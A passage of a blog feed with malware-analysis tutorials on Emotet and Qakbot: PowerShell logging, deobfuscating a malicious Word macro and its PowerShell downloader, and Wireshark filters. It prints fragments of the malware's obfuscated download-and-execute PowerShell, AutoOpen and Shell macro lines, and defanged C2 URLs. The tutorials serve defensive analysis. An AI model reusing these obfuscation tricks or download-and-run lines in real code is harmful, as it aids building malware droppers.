&lt;strong&gt;Computer Configuration -&amp;gt; Administrative Templates -&amp;gt; Windows Components -&amp;gt; Windows PowerShell&lt;/strong&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Initial_Windows_Powershell_GPO.png&quot;&gt;&lt;img alt=&quot;Initial PowerShell Logging Setting&quot; decoding=&quot;async&quot; height=&quot;203&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Initial_Windows_Powershell_GPO.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Initial_Windows_Powershell_GPO.png 2042w, /wp-content/uploads/2019/04/Initial_Windows_Powershell_GPO-300x79.png 300w, /wp-content/uploads/2019/04/Initial_Windows_Powershell_GPO-1024x271.png 1024w, /wp-content/uploads/2019/04/Initial_Windows_Powershell_GPO-768x203.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Initial PowerShell Logging Setting&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
2. Enable the following three options shown below. Enter * in Module Names for Module logging.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/PowerShell_Group_Policy_Setting.png&quot;&gt;&lt;img alt=&quot;PowerShell Group Policy Setting&quot; decoding=&quot;async&quot; height=&quot;209&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/PowerShell_Group_Policy_Setting.png&quot; srcset=&quot;/wp-content/uploads/2019/04/PowerShell_Group_Policy_Setting.png 1760w, /wp-content/uploads/2019/04/PowerShell_Group_Policy_Setting-300x81.png 300w, /wp-content/uploads/2019/04/PowerShell_Group_Policy_Setting-1024x278.png 1024w, /wp-content/uploads/2019/04/PowerShell_Group_Policy_Setting-768x209.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;PowerShell Group Policy Setting&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Tip: Enter gpedit.msc in Run to open Local Group policy and eventvwr.msc for Event Viewer&lt;/p&gt;
&lt;/aside&gt;
&lt;h4 id=&quot;steps&quot;&gt;Steps&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Open Event Viewer and navigate to &lt;strong&gt;Windows Logs -&amp;gt; Application and Service Logs -&amp;gt; Windows PowerShell&lt;/strong&gt;, right click and clear the existing logs&lt;/li&gt;
&lt;li&gt;Execute the malware and wait for some time 30-60 sec.&lt;/li&gt;
&lt;li&gt;Open ProcessHacker and check for termination of PowerShell process.&lt;/li&gt;
&lt;li&gt;Open EventViewer and navigate to Windows PowerShell log and check the entries, you will see some deobfuscated PowerShell&lt;/li&gt;
&lt;li&gt;Analyze PowerShell if needed to extract CC info&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;example-of-emotet-qakbot&quot;&gt;Example of Emotet &amp;amp; Qakbot&lt;/h4&gt;
&lt;h5&gt;Qakbot&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;hta file contain Obfuscated VBScript code &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Initial-Obfuscated-hta.png&quot;&gt;&lt;img alt=&quot;Initial Obfuscated hta&quot; decoding=&quot;async&quot; height=&quot;330&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Initial-Obfuscated-hta.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Initial-Obfuscated-hta.png 1375w, /wp-content/uploads/2019/04/Initial-Obfuscated-hta-300x129.png 300w, /wp-content/uploads/2019/04/Initial-Obfuscated-hta-1024x439.png 1024w, /wp-content/uploads/2019/04/Initial-Obfuscated-hta-768x330.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Initial Obfuscated hta - Initial Obfuscated hta file which contain VBScript&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Deobfuscate VBScript by replacing &lt;strong&gt;]+($)#!%/=[?-_&amp;amp;*&amp;lt;&amp;gt;&lt;/strong&gt; with ” and you can see obfuscated PowerShell. &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Qakbot_Obfuscated_PowerShell.png&quot;&gt;&lt;img alt=&quot;Initial Obfuscate PowerShell&quot; decoding=&quot;async&quot; height=&quot;377&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Qakbot_Obfuscated_PowerShell.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Qakbot_Obfuscated_PowerShell.png 1245w, /wp-content/uploads/2019/04/Qakbot_Obfuscated_PowerShell-300x147.png 300w, /wp-content/uploads/2019/04/Qakbot_Obfuscated_PowerShell-1024x503.png 1024w, /wp-content/uploads/2019/04/Qakbot_Obfuscated_PowerShell-768x377.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Initial Obfuscate PowerShell - Initial Obfuscate PowerShell&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;But we don’t need to do above step, we can just run the hta file and see more clearer PowerShell code shown below.&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Qakbot_Powershell_Obfuscation-1.png&quot;&gt;&lt;img alt=&quot;Qakbot PowerShell Deobfuscation&quot; decoding=&quot;async&quot; height=&quot;404&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Qakbot_Powershell_Obfuscation-1.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Qakbot_Powershell_Obfuscation-1.png 2514w, /wp-content/uploads/2019/04/Qakbot_Powershell_Obfuscation-1-300x158.png 300w, /wp-content/uploads/2019/04/Qakbot_Powershell_Obfuscation-1-1024x538.png 1024w, /wp-content/uploads/2019/04/Qakbot_Powershell_Obfuscation-1-768x404.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Qakbot PowerShell Deobfuscation - 2nd level deobfuscated code is much better as you can see the CC&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Extract CC by executing below PowerShell code &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Qakbot_CC.png&quot;&gt;&lt;img alt=&quot;&quot; decoding=&quot;async&quot; height=&quot;88&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Qakbot_CC.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Qakbot_CC.png 1237w, /wp-content/uploads/2019/04/Qakbot_CC-300x34.png 300w, /wp-content/uploads/2019/04/Qakbot_CC-1024x118.png 1024w, /wp-content/uploads/2019/04/Qakbot_CC-768x88.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Qakbot CC - Execute PowerShell Code to extract CC&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;Emotet&lt;/h5&gt;
&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd.png&quot;&gt;&lt;img alt=&quot;Obfuscated Emotet PoweShell cmd&quot; decoding=&quot;async&quot; height=&quot;300&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1080px) 100vw, 1080px&quot; src=&quot;/wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd.png&quot; srcset=&quot;/wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd.png 1080w, /wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd-300x83.png 300w, /wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd-1024x284.png 1024w&quot; width=&quot;1080&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Obfuscated Emotet PoweShell cmd - Contain PowerShell cmd extracted from Emotet doc&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Emotet_Powershell_1st.png&quot;&gt;&lt;img alt=&quot;Emotet_Powershell 1st&quot; decoding=&quot;async&quot; height=&quot;288&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Emotet_Powershell_1st.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Emotet_Powershell_1st.png 2780w, /wp-content/uploads/2019/04/Emotet_Powershell_1st-300x112.png 300w, /wp-content/uploads/2019/04/Emotet_Powershell_1st-1024x384.png 1024w, /wp-content/uploads/2019/04/Emotet_Powershell_1st-768x288.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Emotet Powershell 1st Entry&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/Emotet_Powershell_2nd_.png&quot;&gt;&lt;img alt=&quot;Emotet Deobfuscated Powershell&quot; decoding=&quot;async&quot; height=&quot;332&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/Emotet_Powershell_2nd_.png&quot; srcset=&quot;/wp-content/uploads/2019/04/Emotet_Powershell_2nd_.png 2794w, /wp-content/uploads/2019/04/Emotet_Powershell_2nd_-300x130.png 300w, /wp-content/uploads/2019/04/Emotet_Powershell_2nd_-1024x443.png 1024w, /wp-content/uploads/2019/04/Emotet_Powershell_2nd_-768x332.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Emotet Deobfuscated Powershell - Check the highlighted Deobfuscated Code&lt;/figcaption&gt;&lt;/figure&gt;

</content:encoded><category>malware-analysis</category><category>malware-analysis/deobfuscation</category><category>deobfuscation</category><category>emotet</category><category>powershell</category><category>qakbot</category></item><item><title>Deobfuscate Emotet PowerShell – Part 0x2</title><link>https://www.securityinbits.com/malware-analysis/deobfuscate-emotet-powershell/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=84</guid><description>Deobfuscate and extract CC from the PowerShell cmd extracted from the Emotet downloader.</description><pubDate>Sat, 26 May 2018 07:41:58 GMT</pubDate><content:encoded>&lt;div&gt;We will deobfuscate PowerShell and extract CC from the PowerShell cmd extracted from the Emotet downloader macro discussed in the &lt;a href=&quot;/malware-analysis/deobfuscate-malicious-macro/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;previous article&lt;/a&gt;. If you want to learn how to deobfuscate and analyse the malicious macro code, please check this &lt;a href=&quot;/malware-analysis/deobfuscate-malicious-macro/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;article and video&lt;/a&gt;.&lt;/div&gt;
&lt;h4 id=&quot;video-tutorial&quot;&gt;Video Tutorial&lt;/h4&gt;
&lt;p&gt;Let see how to use this above concepts to deobfuscate the PowerShell&lt;br/&gt;
&lt;div&gt;&lt;div&gt;&lt;iframe allowfullscreen=&quot;1&quot; loading=&quot;lazy&quot; src=&quot;https://www.youtube.com/embed/qOFz-BCLEkk?autoplay=0&amp;amp;controls=1&amp;amp;origin=https://www.securityinbits.com&amp;amp;loop=0&amp;amp;mute=0&quot; title=&quot;Youtube video player&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;why-do-we-need-to-do-this&quot;&gt;Why do we need to do this?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Extract CC info from Obfuscated PowerShell&lt;/li&gt;
&lt;li&gt;Clean up the code, so we can analyse the Powershell easily&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;sample&quot;&gt;Sample&lt;/h4&gt;
&lt;p&gt;You can download the Emotet downloader sample from zip archive 2018-05-04-Emotet-malware.zip mentioned in this &lt;a href=&quot;https://www.malware-traffic-analysis.net/2018/05/04/index.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt; / &lt;a href=&quot;https://www.virustotal.com/#/file/b26fa7e3f85d5bd8ccca12d893dea59e60bca6bbdf035a2cc516c5da51d00d9a/detection&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Virustotal&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;important-powershell-concepts&quot;&gt;Important PowerShell concepts&lt;/h4&gt;
&lt;p&gt;We will look into some of the techniques and functions used in this Emotet doc.&lt;/p&gt;
&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd.png&quot;&gt;&lt;img alt=&quot;Obfuscated Emotet PoweShell cmd&quot; decoding=&quot;async&quot; height=&quot;300&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1080px) 100vw, 1080px&quot; src=&quot;/wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd.png&quot; srcset=&quot;/wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd.png 1080w, /wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd-300x83.png 300w, /wp-content/uploads/2018/05/Obfuscated-PoweShell-cmd-1024x284.png 1024w&quot; width=&quot;1080&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;h5&gt;Variable&lt;/h5&gt;
&lt;p&gt;You can create a new variable on the fly simply by assigning a value to it:&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
$url = &apos;https://twitter.com/Securityinbits&apos;&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;Download File&lt;/h5&gt;
&lt;p&gt;This cmd is used in this macro to download Emotet sample from CC.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
(New-Object System.Net.WebClient).DownloadFile($url, $output)&lt;br/&gt;
e.g.&lt;br/&gt;
$url = &quot;http://httpbin.org/image/jpeg&quot;&lt;br/&gt;
(New-Object System.Net.WebClient).DownloadFile($url, &quot;C:image.jpeg&quot;)&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;Invoke-Item&lt;/h5&gt;
&lt;p&gt;This cmd is used to start the exe downloaded from Emotet CC.&lt;/p&gt;
&lt;p&gt;The Invoke-Item cmdlet performs the default action on the specified item. For example, it runs an executable file or opens a document file in the application associated with the document file type. The default action depends on the type of item and is determined by the Windows PowerShell provider that provides access to the data. For more details check this &lt;a href=&quot;https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/invoke-item?view=powershell-6&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt;.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
PS C:&amp;gt; Invoke-Item &quot;C:Windowssystem32calc.exe&quot;&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;Invoke-Expression (or iex)&lt;/h5&gt;
&lt;p&gt;This iex is used to invoke the malicious PowerShell cmd.&lt;br/&gt;
iex is an alias for Invoke-Expression. Runs commands or expressions on the local computer. For more details check this &lt;a href=&quot;https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt;.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
PS C:&amp;gt; $Command = &quot;Get-Process&quot;&lt;br/&gt;
PS C:&amp;gt; $Command&lt;br/&gt;
Get-Process PS C:&amp;gt; iex $Command&lt;br/&gt;
Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id   ProcessName&lt;br/&gt;
-------  ------    -----      ----- -----   ------     --   -----------&lt;br/&gt;
296       4       1572       1956    20       0.53     1348   AdtAgent&lt;br/&gt;
270       6       1328       800     34       0.06     2396   alg&lt;br/&gt;
67        2       620        484     20       0.22     716    ati2evxx&lt;br/&gt;
1060      15      12904      11840   74       11.48    892    CcmExec&lt;br/&gt;
1400      33      25280      37544   223      38.44    2564   communicator&lt;br/&gt;
...&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&quot;some-obfuscation-technique&quot;&gt;Some obfuscation technique&lt;/h4&gt;
&lt;p&gt;These are some of the techniques used in Emotet PowerShell to obfuscate the code to make the analysis difficult.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;` or ^ (escape character) used in front of a character with no change in the result when starting PowerShell from cmd.exe.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
$YYU.&quot;Do`Wnl`OadFI`le&quot;($asfc.&quot;ToStr`i`Ng&quot;(), $SDC);&lt;br/&gt;
&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;iex alias is used to invoke the PowerShell command.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
( $env:comSpeC[4,26,25]-JoIn&apos;&apos;) --&amp;gt; iex&lt;br/&gt;
&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Strings are concatenate using ‘+’ to reduce readability&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
&apos;6 http&apos;+&apos;:&apos;+&apos;//&apos;+&apos;a&apos;+&apos;lian&apos;+&apos;.&apos;+&apos;d&apos;+&apos;e&apos;+&apos;/&apos;+&apos;4wBY&apos;+&apos;ki/@&apos;&lt;br/&gt;
&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Strings encoded with ascii e.g [chaR]34 –&amp;gt; “&lt;/li&gt;
&lt;li&gt;Replacing garbage character&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
-repLACE &apos;0mI&apos;,[chaR]96&lt;br/&gt;
&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;after-deobfuscation&quot;&gt;After Deobfuscation&lt;/h4&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2018/05/Deobfuscated-PowerShell.png&quot;&gt;&lt;img alt=&quot;Deobfuscated PowerShell&quot; decoding=&quot;async&quot; height=&quot;586&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 852px) 100vw, 852px&quot; src=&quot;/wp-content/uploads/2018/05/Deobfuscated-PowerShell.png&quot; srcset=&quot;/wp-content/uploads/2018/05/Deobfuscated-PowerShell.png 852w, /wp-content/uploads/2018/05/Deobfuscated-PowerShell-300x206.png 300w&quot; width=&quot;852&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;h4 id=&quot;cc&quot;&gt;CC&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;hxxp://alian[.]de/4wBYki/&lt;br/&gt;
hxxp://againstperfection[.]net/6kWq0/&lt;br/&gt;
hxxp://globalreachadvertising[.]com/zfFgSQ/&lt;br/&gt;
hxxp://www[.]fanoff[.]com/ZVljVr/&lt;br/&gt;
hxxp://thurtell[.]com/TCyk/&lt;/code&gt;&lt;/p&gt;

</content:encoded><category>malware-analysis</category><category>malware-analysis/deobfuscation</category><category>deobfuscation</category><category>downloader</category><category>emotet</category><category>powershell</category><category>video-tutorial</category></item><item><title>Deobfuscate malicious macro – Part 0x1</title><link>https://www.securityinbits.com/malware-analysis/deobfuscate-malicious-macro/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=57</guid><description>We will concentrate on malicious macro embedded in Emotet downloader office document and see how to deobfuscate the macro code.</description><pubDate>Sun, 20 May 2018 07:18:32 GMT</pubDate><content:encoded>&lt;p&gt;We will concentrate on malicious macro embedded in Emotet downloader office documents and see how to deobfuscate the macro code. In the next &lt;a href=&quot;/malware-analysis/deobfuscate-emotet-powershell/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;post&lt;/a&gt; we will deobfuscate the PowerShell executed by Word Doc.&lt;/p&gt;
&lt;h4 id=&quot;why-do-we-need-to-do-this&quot;&gt;Why do we need to do this?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Malicious code embedded in macro instead of exploit&lt;/li&gt;
&lt;li&gt;Clean up the code, so we can analyse the macro easily&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;sample&quot;&gt;Sample&lt;/h4&gt;
&lt;p&gt;You can download the Emotet downloader sample from zip archive 2018-05-04-Emotet-malware.zip mentioned in this &lt;a href=&quot;https://www.malware-traffic-analysis.net/2018/05/04/index.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt; / &lt;a href=&quot;https://www.virustotal.com/#/file/b26fa7e3f85d5bd8ccca12d893dea59e60bca6bbdf035a2cc516c5da51d00d9a/detection&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Virustotal&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;important-macro-concepts&quot;&gt;Important Macro concepts&lt;/h4&gt;
&lt;p&gt;Macros are written in VBScript commands. The steps to show the developer tab varies based on the Office version, check this &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/bb608625.aspx&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt; for more details.&lt;br/&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Tip: You can use Alt + F11 keyboard shortcut to open Visual basic Editor&lt;/p&gt;
&lt;/aside&gt;
&lt;h5&gt;Sub Procedure&lt;/h5&gt;
&lt;p&gt;A Sub procedure is a series of Visual Basic statements enclosed by the &lt;strong&gt;Sub&lt;/strong&gt; and &lt;strong&gt;End Sub&lt;/strong&gt; statements that performs actions but doesn’t return a value. For more details check this &lt;a href=&quot;https://msdn.microsoft.com/en-us/vba/language-reference-vba/articles/writing-a-sub-procedure&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt; msdn link&lt;/a&gt;. This following procedure contains junk code which is not used anywhere.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
Sub jpiWVs(tssPw)&lt;br/&gt;
twzSX = 89948 * CByte(bcDtOn)&lt;br/&gt;
wvGHf = Int(92496) - Oct(30921 - 82308 * TYNLPB)&lt;br/&gt;
YCFNn = 98570 * CByte(NSkFX)&lt;br/&gt;
End Sub&lt;br/&gt;
&lt;/code&gt;&lt;br/&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Tip: Just search the function/variable name in VB project to check if this in junk code&lt;/p&gt;
&lt;/aside&gt;
&lt;h5&gt;Function&lt;/h5&gt;
&lt;p&gt;A Function procedure is a series of Visual Basic statements enclosed by the &lt;strong&gt;Function&lt;/strong&gt; and &lt;strong&gt;End Function&lt;/strong&gt; statements. A Function procedure is similar to a Sub procedure, but a function can also return a value. For more details check this &lt;a href=&quot;https://msdn.microsoft.com/en-us/vba/language-reference-vba/articles/writing-a-function-procedure&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;msdn link&lt;/a&gt;.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
Function nFODYizhYv()&lt;br/&gt;
On Error Resume Next&lt;br/&gt;
HaPTn = 36440 * CByte(cGdhi)&lt;br/&gt;
AqKKP = Int(78184) - Oct(38288 - 29334 * FjYvSt)&lt;br/&gt;
GJKXZG = 1995 * CByte(GZUcj)&lt;br/&gt;
......&lt;br/&gt;
MUtvc = 12179 * CByte(GKtld)&lt;br/&gt;
JLfpah = Int(41681) - Oct(37691 - 32289 * NGzQXX)&lt;br/&gt;
LPHts = 34930 * CByte(wKlPaU)&lt;br/&gt;
End Function&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;On Error Resume Next&lt;/h5&gt;
&lt;p&gt;It means that whenever there is any error in the program then continue to the next line. Due to this statement malware authors can write junk statements to obfuscate code to make our(or security product) analysis difficult .&lt;/p&gt;
&lt;h5&gt;Autoopen&lt;/h5&gt;
&lt;p&gt;One of the important functions used in the malicious macro is &lt;strong&gt;Autoopen()&lt;/strong&gt;. This function execute when we open a document, so malware execution starts from the function.&lt;br/&gt;
Autopen function present in this word doc&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
Sub Autoopen()&lt;br/&gt;
On Error Resume Next&lt;br/&gt;
bfBwfX = 82635 * CByte(XGMXEm)&lt;br/&gt;
mVfwi = Int(47288) - Oct(94569 - 38523 * LlJCD)&lt;br/&gt;
CMjPum = 57434 * CByte(iWvcC)&lt;br/&gt;
TiOoQjQV (tCXUs + nFODYizhYv + KsQPV)&lt;br/&gt;
...&lt;br/&gt;
End Sub&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;Debug.Print&lt;/h5&gt;
&lt;p&gt;We can print any value of variable by adding Debug.Print variable_name, it will display the output in View-&amp;gt; Immediate Window (Ctrl+G)&lt;/p&gt;
&lt;h5&gt;Shell&lt;/h5&gt;
&lt;p&gt;Shell function is used to run any code, for more details check this link &lt;a href=&quot;https://msdn.microsoft.com/en-us/vba/language-reference-vba/articles/shell-function&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;msdn link&lt;/a&gt;. This function is used to execute the malicious power shell cmd to download and execute Emotet malware.&lt;br/&gt;
&lt;code&gt;&lt;br/&gt;
[Shell] ZHBuq + Chr(vbKeyC) + qFkOSjfj + qjXrchNTBZRhNs + sEPXQbb, ciXcjw + 0 + ciXcjw&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;Mid&lt;/h5&gt;
&lt;p&gt;MID function extracts a substring from a string (starting at any position). For more details check this &lt;a href=&quot;https://www.techonthenet.com/excel/formulas/mid.php&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;deobfuscation&quot;&gt;Deobfuscation&lt;/h4&gt;
&lt;p&gt;This macro is heavily obfuscated with junk code and random variable/function name. For deobfuscation we just need to check if the variable/function is used in the program. This macro uses the StrReverse and Mid function on different strings to build the malicious PowerShell code.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2018/05/Before-After-Deobfuscation-Macro-e1580629580500.png&quot;&gt;&lt;img alt=&quot;Before and after Macro Deobfuscation&quot; decoding=&quot;async&quot; height=&quot;395&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2018/05/Before-After-Deobfuscation-Macro-e1580629580500-768x395.png&quot; srcset=&quot;/wp-content/uploads/2018/05/Before-After-Deobfuscation-Macro-e1580629580500-768x395.png 768w, /wp-content/uploads/2018/05/Before-After-Deobfuscation-Macro-e1580629580500-300x154.png 300w, /wp-content/uploads/2018/05/Before-After-Deobfuscation-Macro-e1580629580500.png 805w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;
&lt;h4 id=&quot;video-tutorial&quot;&gt;Video Tutorial&lt;/h4&gt;
&lt;p&gt;Let’s see how to use the above concepts to deobfuscate the macro. In this post we will not concentrate on the PowerShell part, we will just deobfuscate the macro. Check this &lt;a href=&quot;/malware-analysis/deobfuscate-emotet-powershell/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;article&lt;/a&gt; which explain how to deobfuscate and extract CC&lt;br/&gt;
&lt;div&gt;&lt;div&gt;&lt;iframe allowfullscreen=&quot;1&quot; loading=&quot;lazy&quot; src=&quot;https://www.youtube.com/embed/6GCVKbvq3YA?autoplay=0&amp;amp;controls=1&amp;amp;origin=https://www.securityinbits.com&amp;amp;loop=0&amp;amp;mute=0&quot; title=&quot;Youtube video player&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In the next &lt;a href=&quot;/malware-analysis/deobfuscate-emotet-powershell/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;post&lt;/a&gt; we will concentrate on the deobfuscation of PowerShell.&lt;/p&gt;
&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;
</content:encoded><category>malware-analysis</category><category>malware-analysis/deobfuscation</category><category>deobfuscation</category><category>doc</category><category>downloader</category><category>emotet</category><category>macro-analysis</category><category>video-tutorial</category></item><item><title>Important Wireshark filters</title><link>https://www.securityinbits.com/tools/wireshark-filters/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=25</guid><description>We will look into some of the Wireshark display filters which can be used in malware analysis.</description><pubDate>Sat, 05 May 2018 09:59:47 GMT</pubDate><content:encoded>&lt;p&gt;We will look into some of the Wireshark display filters which can be used in malware analysis. We can use this Wireshark display filter after we capture pcap during dynamic malware analysis.&lt;/p&gt;
&lt;h4 id=&quot;why-do-we-need-to-do-this&quot;&gt;Why do we need to do this?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Help us to remove the noise from pcap&lt;/li&gt;
&lt;li&gt;Easy to extract IoC (e.g Domain, IP etc) from pcap&lt;/li&gt;
&lt;li&gt;Understanding of network behaviour during dynamic malware analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;wireshark-display-columns-setup&quot;&gt;Wireshark display columns setup&lt;/h4&gt;
&lt;p&gt;But before proceeding, I will highly recommend you to follow these two tutorials to modify the column setting of Wireshark, it will make the analysis much easier and efficient.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.malware-traffic-analysis.net/tutorials/wireshark/index.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Changing the column display in Wireshark&lt;/a&gt;&lt;/li&gt;
